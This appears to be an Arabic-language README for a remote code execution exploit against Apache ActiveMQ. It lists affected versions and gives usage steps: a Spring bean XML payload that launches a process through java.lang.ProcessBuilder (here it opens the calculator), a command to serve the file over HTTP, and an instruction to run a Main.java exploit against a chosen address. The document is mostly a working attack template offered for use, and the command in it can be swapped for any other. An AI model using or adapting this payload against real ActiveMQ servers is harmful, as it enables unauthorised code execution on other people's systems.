ActiveMQ RCE

الإصدارات المتأثرة

• الإصدار < 5.18.3
• الإصدار < 5.17.6
• الإصدار < 5.16.7
• الإصدار < 5.15.16

الاستخدام

إنشاء ملف XML لـ Spring Bean

<?xml version="1.0" encoding="UTF-8" ?>
  <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg >
        <list>
            <value>open</value>
            <value>-a</value>
            <value>calculator</value>
        </list>
      </constructor-arg>
    </bean>
  </beans>

افتح خادم HTTP

python3 -m http.server

قم بتشغيل ملف Main.java (قم بتغيير العنوان حسب الحاجة).